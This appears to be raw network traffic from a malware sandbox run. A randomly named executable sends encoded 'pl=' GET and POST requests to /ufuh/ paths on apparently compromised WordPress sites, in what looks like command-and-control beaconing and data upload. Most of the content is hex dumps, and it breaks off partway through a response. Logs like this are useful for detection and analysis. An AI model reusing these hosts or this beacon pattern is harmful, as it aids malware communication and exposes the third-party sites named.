May 2, 2024 08:28:21.503299952 CEST	1289	IN	Data Raw: 26 df 29 d7 ff ab c6 65 d1 c3 c6 41 78 d2 f4 56 44 47 5c 67 87 f5 55 4d 2d 81 39 3e e1 0c b3 95 04 fe 96 96 c9 60 93 22 d5 94 ba 63 9b cc c6 5d 17 80 2b 18 a9 80 39 1e e1 9c 58 0e 15 2c cf dd 78 c1 57 a5 d7 84 cb 90 ea cb c8 8b 71 d9 ab e1 8c 23 Data Ascii: &)eAxVDG\gUM-9>`"c]+9X,xWq#VuPW6Np^3lqq\|.)Ho2Q!DX:RK?0MC.PZ-Tl2p>I8D1C2U()WD&'SS$r>rg\|#wTo]@C<qg\|H
May 2, 2024 08:28:21.503359079 CEST	1289	IN	Data Raw: 89 4e 47 ca da cd 55 c1 49 2f c4 6c c9 49 d8 4c e2 6e 0b af f7 c6 76 da 4d 53 26 fa ce e5 c0 03 d4 bf 8d 68 c0 ee e8 9b 41 c2 c3 81 ec 4c 87 c1 ea 59 9a a3 39 16 8d d8 1c 25 14 41 ad fa 14 23 01 83 cf a6 ac 56 c5 99 2b aa 0d 89 ca 25 09 3d 98 22 Data Ascii: NGUI/lILnvMS&hALY9%A#V+%="}S#L3%I'0hr<Mw$FUS'tIr1icvk1H4gUR)~,kN#HI-=.UR}V #
May 2, 2024 08:28:21.503511906 CEST	1124	IN	Data Raw: 71 b0 82 42 11 c5 08 57 83 00 00 b6 57 7b 94 97 0c 7a 77 54 eb 12 64 a9 6b 1e 6c 74 3c 8c 0a 04 db c7 50 7d c6 f0 a4 95 40 9c d1 e2 b5 32 03 08 b6 1f d2 f2 9d 09 62 74 3a 1c 4a 42 19 c2 53 35 e4 78 5b 3f 5c ad 17 c3 15 62 7d ab ea 45 ca 39 54 29 Data Ascii: qBWW{zwTdklt<P}@2bt:JBS5x[?\b}E9T)t8Bm=[6Qy[ru\;vH6/ddSp[\RtD*Bx-=B%4%P4/g[jjKXg2:4X\tR-vFv7Nw[^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49181	198.12.241.35	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:23.793699026 CEST	468	OUT	GET /ufuh/?pl=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto+mEvmfk+N6Cgt65oFJJSbTgZ9R+lJhnJt4KhMELuPRI2YfMmSiqMqXmclfFfZpNLn5Guu+tn093ffeUIUJTcA0L&5h1t=6H6PKFvXjtI4u8k HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.aceautocorp.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 2, 2024 08:28:23.986429930 CEST	548	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 02 May 2024 06:28:23 GMT Server: Apache X-Powered-By: PHP/8.1.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://aceautocorp.com/ufuh/?pl=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto+mEvmfk+N6Cgt65oFJJSbTgZ9R+lJhnJt4KhMELuPRI2YfMmSiqMqXmclfFfZpNLn5Guu+tn093ffeUIUJTcA0L&5h1t=6H6PKFvXjtI4u8k Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49182	183.111.183.31	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:32.325015068 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2159 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.mrart.co.kr Origin: http://www.mrart.co.kr Referer: http://www.mrart.co.kr/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 51 46 71 4d 4f 53 41 54 44 74 46 4d 53 50 59 71 72 77 50 30 43 30 56 7a 45 6d 38 6f 6d 4b 62 65 59 4e 4d 42 53 78 6d 67 79 32 70 68 58 46 31 6f 75 67 67 4b 39 46 54 65 4e 7a 79 72 31 54 4c 38 61 73 51 43 68 73 6e 61 69 52 61 65 68 38 52 56 36 53 6b 45 62 4c 6e 62 35 51 75 2b 4a 74 52 30 45 69 35 57 6e 67 44 79 52 76 59 30 32 4d 52 75 6f 4e 67 63 42 31 73 69 59 76 30 39 37 32 6a 47 76 31 37 63 70 6c 61 65 73 34 53 54 6c 42 65 66 59 32 6c 5a 41 6e 41 45 4b 58 4a 37 38 77 4c 48 46 76 32 70 78 47 78 53 38 54 2f 70 56 42 4b 2b 76 39 78 38 76 4f 6e 49 42 35 6a 4c 42 6e 54 6d 72 74 47 37 6a 69 79 34 38 71 50 6a 56 4a 44 76 6b 46 38 37 6e 35 6e 62 55 56 50 42 59 72 49 42 36 79 59 38 51 68 4d 6d 65 6e 6e 70 61 61 71 59 58 2f 43 77 53 41 63 6a 30 54 32 4f 6b 34 32 5a 74 6c 54 4b 7a 34 49 6c 38 62 75 31 6e 62 72 45 44 4d 58 4c 52 78 39 63 51 33 59 6a 56 4f 55 6f 2f 39 7a 41 6c 73 49 78 56 70 49 63 46 58 56 62 74 66 34 75 52 38 4a 6f 54 74 69 61 2f 38 63 6e 56 4e 45 76 6a 58 76 2b 71 35 68 4c 59 78 7a [TRUNCATED] Data Ascii: pl=QFqMOSATDtFMSPYqrwP0C0VzEm8omKbeYNMBSxmgy2phXF1ouggK9FTeNzyr1TL8asQChsnaiRaeh8RV6SkEbLnb5Qu+JtR0Ei5WngDyRvY02MRuoNgcB1siYv0972jGv17cplaes4STlBefY2lZAnAEKXJ78wLHFv2pxGxS8T/pVBK+v9x8vOnIB5jLBnTmrtG7jiy48qPjVJDvkF87n5nbUVPBYrIB6yY8QhMmennpaaqYX/CwSAcj0T2Ok42ZtlTKz4Il8bu1nbrEDMXLRx9cQ3YjVOUo/9zAlsIxVpIcFXVbtf4uR8JoTtia/8cnVNEvjXv+q5hLYxzaMQ2vCA/BsC8WH86gLF8/UyQbGZd+ou5IUjTlGuHOXW2SgrcdaxhzKmMMZIpdV95qcHLNYmZ1h+l0LNrZZZxZGnuXw3CXs6+qd7Gu6XCEpI7Lo0jk5k1rzHKFD8gE/ifnXH7OBgb+2VgNsnPdS4DUx0CcxQ4MgWdEq13VnR7YAzrNEfedlV0Erh2wmfO0zspCRsyagYKKbhhi9M+vKCAXDPM79I/o7LokSH22m+jiLD3gHT3JqgPu36QwzM2a0Sq9OMWW+oaumVCLZweMZlyQeoykgfWwJ1XnH/TFomLZ3kaSrfi2zmX7DxvGELkUTgpCO7Ixr8p2paN297cR69QUn8Z5dtyrATltOM6dgLPRKvJ8NMKXnHxR4jsBveJi1ppDpi1XCJ2RdNgXrOoq9vxSEekLSSfynoQaS09XtgaKX76xfW5nbalBTDHWs1EjCYxT09uOu2kInhuycUSnG64SRYDS5vlier2JtFC4H657xtCSKaVq88K9t8TsdJBB8HsoxFMm6Qf8cruX4jiMme2MMSeEx/otLPz07Xtmy8JNAruIlK8wEYQR2jcMViaOLYoo9B9GA/tH8AfHMA3oOKyqQ/36hGoS7YtY3CJWVvIGhyN7jFWyphbzFV0OW7g89wzpkHtBhrA2mec8kB2NO7pv/YSieAkt+KnOb [TRUNCATED]
May 2, 2024 08:28:32.604337931 CEST	100	OUT	Data Raw: 69 4a 34 68 51 59 70 6e 35 66 72 4c 46 38 43 6b 42 52 46 53 78 70 78 2b 54 5a 4b 57 5a 44 37 56 38 58 50 58 64 64 35 78 39 50 34 43 77 30 73 79 66 55 79 79 61 77 59 37 39 39 4f 64 70 78 68 76 35 30 4e 54 64 48 4e 6b 45 6f 35 45 34 79 77 4b 41 62 Data Ascii: iJ4hQYpn5frLF8CkBRFSxpx+TZKWZD7V8XPXdd5x9P4Cw0syfUyyawY799Odpxhv50NTdHNkEo5E4ywKAbjAILb5a9azWcnxKvm0
May 2, 2024 08:28:33.182195902 CEST	1289	IN	HTTP/1.1 404 Not Found Server: openresty Date: Thu, 02 May 2024 06:28:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding,Cookie Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://mrart.co.kr/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 31 39 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 3d 6b 8f dc 46 72 9f 2d e0 fe 43 2f 05 69 67 4e 24 87 e4 3c 76 76 76 67 75 3a 59 be 73 e2 3b 19 5a 19 87 83 24 2c 7a c8 9e 19 4a 1c 92 26 39 fb b8 f5 02 ce 9d 12 5c 62 03 f9 60 1b 30 12 1b 30 72 97 7c f2 87 c4 b9 03 1c 20 f9 43 d2 fa 3f a4 aa 9b 8f 1e 0e e7 b1 0f 1d 10 20 6b ed ec b0 bb ba aa ba ba aa ba aa 9b dd de dd 78 fb e1 fd c7 bf 7e ff 01 19 27 13 6f ef 47 37 76 f1 2f f1 a8 3f ea 2b 2f 02 ed af 1f 29 bc 90 51 07 fe be b5 3b 61 09 25 f6 98 46 31 4b fa ca 07 8f df d1 ba 4a 51 e1 d3 09 eb 2b 87 2e 3b 0a 83 28 51 88 1d f8 09 f3 01 f0 c8 75 92 71 df 61 87 ae cd 34 fe a0 12 d7 77 13 97 7a 5a 6c 53 8f f5 4d 81 c6 73 fd 17 24 62 5e 5f 09 a3 60 e8 7a 4c 21 e3 88 0d fb ca 38 49 c2 5e a3 31 9a 84 23 3d 88 46 8d e3 a1 df 30 cd 32 ed cd 28 18 04 49 bc 99 53 de f4 03 d7 77 d8 b1 4a 86 81 e7 05 47 9b a4 b1 77 03 9a 6c 68 1a 79 3c 76 63 12 bb 09 23 f0 37 08 13 77 e2 fe 86 39 e4 c8 4d c6 24 19 33 f2 eb 80 c6 09 d9 7f f0 90 84 de 74 e4 fa e4 d0 b2 74 93 68 04 [TRUNCATED] Data Ascii: 19e3=kFr-C/igN$<vvvgu:Ys;Z$,zJ&9\b`00r\| C? kx~'oG7v/?+/)Q;a%F1KJQ+.;(Quqa4wzZlSMs$b^_`zL!8I^1#=F02(ISwJGwlhy<vc#7w9M$3tthy`8"'X7hY 7t$wxxy~/^'<hd(9+(0I/&X8$A_HQj(qj<aB4q9w<}c&TE4+{O8D)TEU~" {Oi`XJM"/#64A%noi7Ua+Z\|_s12_wAEFs3BUX$:y!=}&Gs&qp)E>&3UqLA+gjCK+\kPYLNF9UT#"RB-54ZBhyWo?QSY*m+NT1sGcf{L0y7n
May 2, 2024 08:28:33.182224035 CEST	1289	IN	Data Raw: 79 c8 12 7b bc 29 26 92 cd 19 7a 7c 3a 58 d9 60 08 b2 8b f5 51 10 8c 3c 46 43 37 46 97 5f 6a a9 50 0f 54 de 47 73 aa f0 6f 51 1c df 39 9e 78 50 85 ce 78 a9 ab 24 b7 23 fa e1 34 d8 21 3f 7c fe df af 3f fb 4a 9e fe ca b2 1a 32 e6 34 94 37 cd c7 eb Data Ascii: y{)&z\|:X`Q<FC7F_jPTGsoQ9xPx$#4!?\|?J247O?{kB2_3}w9=T1xr{=!?n8:8B6,IONOO~P)iln<mlY[SC1y.rl@9F6o068o%i=Et}:Hy
May 2, 2024 08:28:33.182297945 CEST	1289	IN	Data Raw: 67 da ab c2 9c 37 40 09 51 75 ab 5a 14 c6 5b 8d b1 a8 2f e1 ae ef 5c 19 df 86 04 81 8c 42 4f c1 1d a0 37 3e e9 6f 98 f0 14 e1 d7 fb d4 f3 06 d4 7e 21 db ba 0c 68 9c cd 89 b5 88 63 2a aa b8 d2 56 33 ff d1 47 b5 12 51 18 d7 1a c3 9e f0 30 fc a3 8f Data Ascii: g7@QuZ[/\BO7>o~!hc*V3GQ0R ~7xo[8J.}BMVY]]1Z'aP^qrC~^CBf63Z0OT99[=lc-SAeI{dR]
May 2, 2024 08:28:33.182352066 CEST	1289	IN	Data Raw: c2 60 84 4c 66 b0 04 47 64 8f e8 3c b9 f3 d8 30 39 85 12 8a a6 08 df 77 44 6a 98 c5 dc 71 02 49 16 60 2a 15 33 4c fa ac 95 c8 23 34 f1 0c 3b 7f a8 46 8f 98 2a 08 18 2b d0 db e0 2f 58 74 9a b6 44 ee 7b 3c c1 92 13 ce b4 32 12 ce a6 5c 3b 87 df 0e Data Ascii: `LfGd<09wDjqI`3L#4;F+/XtD{<2\;8(QT7.T!Kj3+WOZ\qH0!r;o1<U+;>~i~hG-~p46'0qn4_APpO0e<g9}H?vG4Su\jZ
May 2, 2024 08:28:33.182432890 CEST	1289	IN	Data Raw: ce af 8f 11 97 d0 d0 ac 22 7e e1 86 1a 57 30 71 98 4b c3 53 2a 98 de e2 e9 f3 54 bb 6e 4e a8 eb 2b 7b fb 00 4a 92 20 1b dc dd 06 e5 82 e0 d7 ed b0 88 d3 9c d0 38 c1 c7 9c 2e f7 11 29 80 42 a2 00 fd d5 80 fa e0 72 14 d1 18 b9 cd 78 e4 60 4a 2a dd Data Ascii: "~W0qKSTnN+{J 8.)Brx`Jed#/@W~zgs!-f@Fgdr^PbM-4*\J:#[H4aRQ84a]\V]QB<G#'~D'-M}$uGA$ylAQ{k.@
May 2, 2024 08:28:33.182449102 CEST	593	IN	Data Raw: e5 f7 e7 ff f4 f9 46 65 b8 9d 7d 2e 19 c1 d6 ff d5 11 14 f7 5e 8a 41 0c 16 0e 62 76 e9 a5 c8 0f 57 00 1d 1c a4 df 30 93 c2 3b 50 3c 86 0e 11 17 4d d7 6e aa e1 62 b1 b2 44 2b e6 5b 88 65 b3 eb 52 8d 9b 19 5a b3 5a 49 ce bf fe 92 5c 84 3b 3a 05 ef Data Ascii: Fe}.^AbvW0;P<MnbD+[eRZZI\;:/={?1>~o*IQkwB(fji1j9N+e0^Db\|>V^N+"U"?JUE(!5D,0XJM_~\|]wq<
May 2, 2024 08:28:33.183585882 CEST	20	IN	Data Raw: 61 0d 0a 03 00 09 83 4c 10 53 64 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aLSd0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49183	183.111.183.31	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:35.127638102 CEST	717	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 199 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.mrart.co.kr Origin: http://www.mrart.co.kr Referer: http://www.mrart.co.kr/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 51 46 71 4d 4f 53 41 54 44 74 46 4d 53 4d 77 71 72 69 6e 30 42 55 56 7a 44 6d 38 6f 73 71 61 56 59 4e 78 2b 53 77 69 77 79 46 35 68 58 30 70 6f 75 57 55 4b 78 6c 54 64 46 54 79 6e 36 7a 4b 6f 61 73 51 6f 68 70 48 61 69 52 4f 65 67 65 70 56 38 54 6b 44 58 62 6e 5a 31 77 75 46 4a 74 64 35 45 6a 46 38 6e 68 72 79 52 75 30 30 33 50 35 75 73 72 4d 63 48 46 73 34 63 66 30 6d 37 32 76 32 76 31 72 55 70 6c 6d 65 73 4a 2b 54 6b 54 57 66 53 42 52 5a 4a 48 41 2f 51 6e 49 6a 38 78 2b 66 4a 74 47 6c 2f 6e 64 65 36 6a 75 50 52 41 69 36 6c 39 68 2b 67 66 72 55 44 64 43 56 46 33 2b 4e 34 41 3d 3d Data Ascii: pl=QFqMOSATDtFMSMwqrin0BUVzDm8osqaVYNx+SwiwyF5hX0pouWUKxlTdFTyn6zKoasQohpHaiROegepV8TkDXbnZ1wuFJtd5EjF8nhryRu003P5usrMcHFs4cf0m72v2v1rUplmesJ+TkTWfSBRZJHA/QnIj8x+fJtGl/nde6juPRAi6l9h+gfrUDdCVF3+N4A==
May 2, 2024 08:28:35.684334993 CEST	1289	IN	HTTP/1.1 404 Not Found Server: openresty Date: Thu, 02 May 2024 06:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding,Cookie Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://mrart.co.kr/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 31 39 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 3d 6b 8f dc 46 72 9f 2d e0 fe 43 2f 05 69 67 4e 24 87 e4 3c 76 76 76 67 75 3a 59 be 73 e2 3b 19 5a 19 87 83 24 2c 7a c8 9e 19 4a 1c 92 26 39 fb b8 f5 02 ce 9d 12 5c 62 03 f9 60 1b 30 12 1b 30 72 97 7c f2 87 c4 b9 03 1c 20 f9 43 d2 fa 3f a4 aa 9b 8f 1e 0e e7 b1 0f 1d 10 20 6b ed ec b0 bb ba aa ba ba aa ba aa 9b dd de dd 78 fb e1 fd c7 bf 7e ff 01 19 27 13 6f ef 47 37 76 f1 2f f1 a8 3f ea 2b 2f 02 ed af 1f 29 bc 90 51 07 fe be b5 3b 61 09 25 f6 98 46 31 4b fa ca 07 8f df d1 ba 4a 51 e1 d3 09 eb 2b 87 2e 3b 0a 83 28 51 88 1d f8 09 f3 01 f0 c8 75 92 71 df 61 87 ae cd 34 fe a0 12 d7 77 13 97 7a 5a 6c 53 8f f5 4d 81 c6 73 fd 17 24 62 5e 5f 09 a3 60 e8 7a 4c 21 e3 88 0d fb ca 38 49 c2 5e a3 31 9a 84 23 3d 88 46 8d e3 a1 df 30 cd 32 ed cd 28 18 04 49 bc 99 53 de f4 03 d7 77 d8 b1 4a 86 81 e7 05 47 9b a4 b1 77 03 9a 6c 68 1a 79 3c 76 63 12 bb 09 23 f0 37 08 13 77 e2 fe 86 39 e4 c8 4d c6 24 19 33 f2 eb 80 c6 09 d9 7f f0 90 84 de 74 e4 fa e4 d0 b2 74 93 68 04 [TRUNCATED] Data Ascii: 19e3=kFr-C/igN$<vvvgu:Ys;Z$,zJ&9\b`00r\| C? kx~'oG7v/?+/)Q;a%F1KJQ+.;(Quqa4wzZlSMs$b^_`zL!8I^1#=F02(ISwJGwlhy<vc#7w9M$3tthy`8"'X7hY 7t$wxxy~/^'<hd(9+(0I/&X8$A_HQj(qj<aB4q9w<}c&TE4+{O8D)TEU~" {Oi`XJM"/#64A%noi7Ua+Z\|_s12_wAEFs3BUX$:y!=}&Gs&qp)E>&3UqLA+gjCK+\kPYLNF9UT#"RB-54ZBhyWo?QSY*m+NT1sGcf{L0y7n
May 2, 2024 08:28:35.684401035 CEST	1289	IN	Data Raw: 79 c8 12 7b bc 29 26 92 cd 19 7a 7c 3a 58 d9 60 08 b2 8b f5 51 10 8c 3c 46 43 37 46 97 5f 6a a9 50 0f 54 de 47 73 aa f0 6f 51 1c df 39 9e 78 50 85 ce 78 a9 ab 24 b7 23 fa e1 34 d8 21 3f 7c fe df af 3f fb 4a 9e fe ca b2 1a 32 e6 34 94 37 cd c7 eb Data Ascii: y{)&z\|:X`Q<FC7F_jPTGsoQ9xPx$#4!?\|?J247O?{kB2_3}w9=T1xr{=!?n8:8B6,IONOO~P)iln<mlY[SC1y.rl@9F6o068o%i=Et}:Hy
May 2, 2024 08:28:35.684550047 CEST	1289	IN	Data Raw: 67 da ab c2 9c 37 40 09 51 75 ab 5a 14 c6 5b 8d b1 a8 2f e1 ae ef 5c 19 df 86 04 81 8c 42 4f c1 1d a0 37 3e e9 6f 98 f0 14 e1 d7 fb d4 f3 06 d4 7e 21 db ba 0c 68 9c cd 89 b5 88 63 2a aa b8 d2 56 33 ff d1 47 b5 12 51 18 d7 1a c3 9e f0 30 fc a3 8f Data Ascii: g7@QuZ[/\BO7>o~!hc*V3GQ0R ~7xo[8J.}BMVY]]1Z'aP^qrC~^CBf63Z0OT99[=lc-SAeI{dR]
May 2, 2024 08:28:35.684637070 CEST	1289	IN	Data Raw: c2 60 84 4c 66 b0 04 47 64 8f e8 3c b9 f3 d8 30 39 85 12 8a a6 08 df 77 44 6a 98 c5 dc 71 02 49 16 60 2a 15 33 4c fa ac 95 c8 23 34 f1 0c 3b 7f a8 46 8f 98 2a 08 18 2b d0 db e0 2f 58 74 9a b6 44 ee 7b 3c c1 92 13 ce b4 32 12 ce a6 5c 3b 87 df 0e Data Ascii: `LfGd<09wDjqI`3L#4;F+/XtD{<2\;8(QT7.T!Kj3+WOZ\qH0!r;o1<U+;>~i~hG-~p46'0qn4_APpO0e<g9}H?vG4Su\jZ
May 2, 2024 08:28:35.684652090 CEST	1289	IN	Data Raw: ce af 8f 11 97 d0 d0 ac 22 7e e1 86 1a 57 30 71 98 4b c3 53 2a 98 de e2 e9 f3 54 bb 6e 4e a8 eb 2b 7b fb 00 4a 92 20 1b dc dd 06 e5 82 e0 d7 ed b0 88 d3 9c d0 38 c1 c7 9c 2e f7 11 29 80 42 a2 00 fd d5 80 fa e0 72 14 d1 18 b9 cd 78 e4 60 4a 2a dd Data Ascii: "~W0qKSTnN+{J 8.)Brx`Jed#/@W~zgs!-f@Fgdr^PbM-4*\J:#[H4aRQ84a]\V]QB<G#'~D'-M}$uGA$ylAQ{k.@
May 2, 2024 08:28:35.684669018 CEST	593	IN	Data Raw: e5 f7 e7 ff f4 f9 46 65 b8 9d 7d 2e 19 c1 d6 ff d5 11 14 f7 5e 8a 41 0c 16 0e 62 76 e9 a5 c8 0f 57 00 1d 1c a4 df 30 93 c2 3b 50 3c 86 0e 11 17 4d d7 6e aa e1 62 b1 b2 44 2b e6 5b 88 65 b3 eb 52 8d 9b 19 5a b3 5a 49 ce bf fe 92 5c 84 3b 3a 05 ef Data Ascii: Fe}.^AbvW0;P<MnbD+[eRZZI\;:/={?1>~o*IQkwB(fji1j9N+e0^Db\|>V^N+"U"?JUE(!5D,0XJM_~\|]wq<
May 2, 2024 08:28:35.686428070 CEST	20	IN	Data Raw: 61 0d 0a 03 00 09 83 4c 10 53 64 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aLSd0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49184	183.111.183.31	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:38.723397017 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3623 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.mrart.co.kr Origin: http://www.mrart.co.kr Referer: http://www.mrart.co.kr/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 51 46 71 4d 4f 53 41 54 44 74 46 4d 54 74 41 71 70 46 54 30 55 45 56 79 49 47 38 6f 6d 4b 62 63 59 4e 4e 2b 53 78 6d 67 79 33 31 68 58 48 52 6f 74 77 67 4b 38 46 54 64 4f 7a 79 72 31 54 4c 7a 61 73 46 5a 68 73 6a 6b 69 58 65 65 68 39 52 56 36 52 38 45 50 62 6e 62 6b 41 75 47 4a 74 64 57 45 6a 56 34 6e 68 2f 63 52 75 38 30 33 35 4e 75 75 62 4d 66 4c 6c 73 34 63 66 31 70 37 32 76 7a 76 31 7a 79 70 6b 2f 46 73 2b 47 54 6b 78 65 66 65 47 6c 59 4c 48 41 37 4f 58 4a 79 38 77 58 51 46 76 32 74 78 47 30 39 38 53 44 70 56 54 75 2b 76 2b 5a 2f 67 2b 6e 50 63 70 6a 4c 46 6e 54 6f 72 74 47 6e 6a 69 79 34 38 71 7a 6a 56 5a 44 76 6b 45 38 34 36 70 6e 62 58 56 50 32 56 4c 55 56 36 79 4e 72 51 68 63 59 4c 41 58 70 62 59 53 59 54 50 43 77 56 77 63 35 30 54 32 48 71 59 33 4b 74 6c 4b 33 7a 34 59 31 38 62 75 31 6e 63 72 45 48 65 50 4c 54 68 39 63 50 6e 5a 6b 63 75 55 76 2f 39 6e 59 6c 74 4d 78 56 74 41 63 47 41 5a 62 35 74 67 74 5a 73 4a 72 58 74 69 45 70 4d 63 49 56 4e 4a 36 6a 58 33 41 71 34 52 4c 59 7a 62 [TRUNCATED] Data Ascii: pl=QFqMOSATDtFMTtAqpFT0UEVyIG8omKbcYNN+Sxmgy31hXHRotwgK8FTdOzyr1TLzasFZhsjkiXeeh9RV6R8EPbnbkAuGJtdWEjV4nh/cRu8035NuubMfLls4cf1p72vzv1zypk/Fs+GTkxefeGlYLHA7OXJy8wXQFv2txG098SDpVTu+v+Z/g+nPcpjLFnTortGnjiy48qzjVZDvkE846pnbXVP2VLUV6yNrQhcYLAXpbYSYTPCwVwc50T2HqY3KtlK3z4Y18bu1ncrEHePLTh9cPnZkcuUv/9nYltMxVtAcGAZb5tgtZsJrXtiEpMcIVNJ6jX3Aq4RLYzbaKx2vBw/CrC8SD83hLF0RUyFsGft+o8RITmH6J+HECm2ckrc/ayNNKiUMMphdU9ZqY2LMPmZ+qek2edrzZZ0MGm+HwCmXvq+qfd6vn3CBgo7dmUjM5k1VzFy7AP8E/ivnXVTOBgbhgFgLmHCIS4Pqx0PbxTQMgGtEq03VtR7YLjrKP/exlVw+rgPFmva0zNZCTpeam4KIWBhvzs/DKCQXDK1+9Jno+aokSku2qejmID26HT2nqgDq36AgzOCa0Tq9MOyW3IarkVDAdweJZl6AeoOegeuwJWPnKuTFpGLb7EaSi/iuzmfFDzqxEKcUQThCf7I+/Mp3raN157cD69AUn8V5dpOrBgdtK/Sd8rPTUfI4CsPAnHAq4ioovdNi08RDskpUOZ2XYNgr8+oS9vwTEbAhH3Lypdcaf19UxwaNdb6cS25pba1rTCfGtGQjCbpT0I6OuGkInhu1cUSjG68GRdv45vlie+OJtzW4fK4QztDGOaVO88ebt8KBdKFB9XMoxFM51Af/SLuY4jedme2mMSSExtEtKdL01TNm1cJNHruLya8zEYQ72nNJVgyOIIIoxldFPvtK6AfvCgz3OKuIQ+T6h1sS7JtYiiJWcvIF1iMjnFbtphuWFQQeXOQ88D7pmBlAs7A3o+cykBy+O7hn/YaceDUt5qnOZ [TRUNCATED]
May 2, 2024 08:28:39.020313978 CEST	1564	OUT	Data Raw: 69 49 67 68 51 62 42 6e 2f 76 72 4b 56 63 43 69 43 52 46 49 78 70 74 48 54 5a 44 63 5a 44 72 56 38 54 66 58 63 39 4a 78 71 2f 34 43 76 6b 73 33 57 30 79 52 65 77 45 38 39 2b 48 38 77 33 56 71 79 44 39 48 54 45 6c 71 49 35 70 6b 70 41 4d 34 4d 72 Data Ascii: iIghQbBn/vrKVcCiCRFIxptHTZDcZDrV8TfXc9Jxq/4Cvks3W0yRewE89+H8w3VqyD9HTElqI5pkpAM4Mr3QLb7BRMiwIrjCAY/avvwfyxZ7VCoI5unheAKVcC7BGHpjYZ9eClwljeg9ypTNERctsoRv0+YhcZu1PVZ/jHyHSLpyT4Z9R6GmVbF2FJl0g8qJyBxzrHjRukU3moo1inuwvLHsxA5TmQ9Zc2hx6EE0v52s9jxfslN
May 2, 2024 08:28:39.597989082 CEST	1289	IN	HTTP/1.1 404 Not Found Server: openresty Date: Thu, 02 May 2024 06:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding,Cookie Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://mrart.co.kr/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 31 39 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 3d 6b 8f dc 46 72 9f 2d e0 fe 43 2f 05 69 67 4e 24 87 e4 3c 76 76 76 67 75 3a 59 be 73 e2 3b 19 5a 19 87 83 24 2c 7a c8 9e 19 4a 1c 92 26 39 fb b8 f5 02 ce 9d 12 5c 62 03 f9 60 1b 30 12 1b 30 72 97 7c f2 87 c4 b9 03 1c 20 